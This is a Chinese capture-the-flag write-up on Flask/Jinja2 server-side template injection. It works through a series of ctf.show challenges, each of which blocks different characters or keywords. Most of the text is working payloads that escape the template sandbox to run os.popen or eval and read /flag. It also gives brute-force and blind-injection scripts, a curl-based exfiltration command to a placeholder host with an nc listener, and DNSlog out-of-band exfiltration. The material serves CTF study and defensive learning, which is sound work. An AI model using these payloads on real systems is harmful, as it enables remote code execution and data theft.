赞
踩
学习链接:
做题参考:
__class__ 返回该对象所属的类。py万物皆对象,比如某个字符串对象,而其所属的类为<class 'str'> __base__ 以字符串形式返回一个类的父类 __bases__ 以元组形式返回一个类的全部父类 __mro__ 返回解析方法调用的顺序,即返回所有父类 __subclasses__() 返回这个类的所有子类 __init__ 初始化类,返回的类型是function __globals__ 用于获取function所处空间下可使用的module、方法以及所有变量 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __str__() 返回描写这个对象的字符串,可以理解成是打印出来。 __getattribute__() 绕过关键字。实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 绕过[]。调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __builtins__ 内建名称空间,里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} current_app 应用上下文,一个全局变量。 g {{g}}得到<flask.g of 'flask_ssti'>
没有过滤。
传入?name={{10*10}}
,回显100。
这里利用 os._wrap_close 类,写个脚本来找。
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://0778f666-ac38-4c4c-9eaf-651f8b2ee0d4.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132
然后利用利用 .__init__.__globals__ 来找os类中的方法。init初始化,globals全局查找
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
其中能看到popen,于是利用其来执行命令
paylaod:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}
过滤了数字。
1、可以全角数字代替正常数字,下面是转换代码
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full t='' s="0123456789" for i in s: t+='\''+half2full(i)+'\',' print(t) 得到全角数字: '0','1','2','3','4','5','6','7','8','9'
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
2、利用__builtins__:
可以用以下已有的函数,去找到__builtins__,然后用eval就可以了:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
这里从羽师傅那里学习到了一种新的姿势得到__builtins__:
?name={{x.__init__.__globals__['__builtins__']}}
?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
用{%%}
:
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
过滤了单双引号。
1、这里payload用的是request,request.args.a的值由GET传参a的值得到,从而实现绕过。其实也就相当于命令执行里面的拼接。
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
2、也可以考虑字符串拼接,这里用config拿到os:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}
也可以先把chr给找出来,然后用chr拼接拿到os就不需要引号了:
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
拿到os后,最终payload:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]['popen']('tac /flag').read()}}
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]['popen']('tac /flag').read()%}
过滤了 引号 和 args。
1、可以用chr()函数绕过。
首先fuzz一下chr()函数在哪:
payload:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
发到brup的爆破模块。
接下来把这一串
{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
放到前面
原始payload是
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
接下来要用chr()进行替换,对照ascii表
'os'替换成:chr(111)%2bchr(115) //%2b是+
'cat ../f*'替换成:chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
再把替换后的payload放在后面,两段拼在一起得到最终姿势
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
2、用request.values,但是发现post方法不被allow,所以改成cookie
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
过滤了单双引号,还有中括号。request.cookies仍然可以用
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过,拿点绕过,拿__getitem__
等绕过都可以。
使用request绕过的话可以这样:
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
过滤了下划线
根据前置知识我们知道lipsum.__globals__
含有os模块
本来的payload:{{lipsum.__globals__['os'].popen('ls').read()}}
中括号 用.
绕过。
但是__globals__这样的就构造不出来了,拿request绕过。
lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用flask自带的过滤器attr:
""|attr("__class__")
相当于
"".__class__
所以
lipsum|attr(request.cookies.a)
相当于
lipsum.__globals__
这样就可以去拿到os
payload:
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
过滤了os
那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。
?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
过滤了大括号{{}}
。
使用{%%}
绕过,再借助print()
回显
payload:
?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
过滤了request
1、变量重命名,这里直接用羽师傅的payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
这里的原理是,给不同的变量赋值,然后拼接成我们想要的命令。
下面逐行分析
构造po="pop" #利用dict()|join拼接得到。 #dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。 {% set po=dict(po=a,p=a)|join%} a等价于下划线_ {% set a=(()|select|string|list)|attr(po)(24)%} 构造ini="__init__" {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} 构造glo="__globals__" {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} 构造geti="__getitem__" {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} 构造built="__builtins__" {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} 调用chr()函数 {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} 即chr=q.__init__.__global__.__getitem__.__builtins__.chr 构造file='/flag' {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} 打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())
2、读文件盲注
import requests import string def ccchr(s): t='' for i in range(len(s)): if i<len(s)-1: t+='chr('+str(ord(s[i]))+')%2b' else: t+='chr('+str(ord(s[i]))+')' return t url ='''http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name= {% set a=(()|select|string|list).pop(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {% set cmd2=''' s=string.digits+string.ascii_lowercase+'{_-}' flag='' for i in range(1,50): print(i) for j in s: x=flag+j u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}' #print(u) r=requests.get(u) if("1341" in r.text): flag=x print(flag) break
3、反弹flag
电脑开启监听 nc -lvp 4567
http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}
cmd后面的值用脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
过滤了数字
1、全角数字绕过
把payload里的数字换成对应的全角数字:
'0','1','2','3','4','5','6','7','8','9'
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
2、构造数字,参考羽师傅的:
?name= {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set coun=(cc~cccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}
分析如下
几个c就代表几,比如c=1,ccc=3 {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} 用~拼接 构造coun=24 {% set coun=(cc~cccc)|int%} 同web369 {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} 调用chr()函数 {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} 构造file="/flag" {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
3、暴力反弹
import requests cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()' def fun1(s): t=[] for i in range(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k def fun2(s): t=[] for i in range(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i in range(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)
监听 nc -lvp 4567
等待反弹flag。
直接py发送我没成功,把输出的payload手动发送就行了。
过滤了print
1、使用web370的反弹脚本。
2、dnslog外带
?name= {%set a=dict(po=aa,p=aa)|join%} {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%} {%set k=dict(eeeeeeeee=a)|join|count%} {%set l=dict(eeeeeeee=a)|join|count%} {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%} {%set b=(lipsum|string|list)|attr(a)(j)%} {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%} {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%} {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%} {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%} {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%} {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%} {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%} dnslogyyds {%endif%}
使用 http://dnslog.cn/ 网站,点Get SubDomain
直到生成不含数字的域名(因为过滤了数字哈。
然后更改上面的payload中
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
里的tpqdwr,改成网站生成的域名即可。
过滤了count,可以用length替换
?name= {%set a=dict(po=aa,p=aa)|join%} {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%} {%set k=dict(eeeeeeeee=a)|join|length%} {%set l=dict(eeeeeeee=a)|join|length%} {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%} {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%} {%set b=(lipsum|string|list)|attr(a)(j)%} {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%} {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%} {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%} {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%} {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%} {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%} {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%} dnslogyyds {%endif%}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。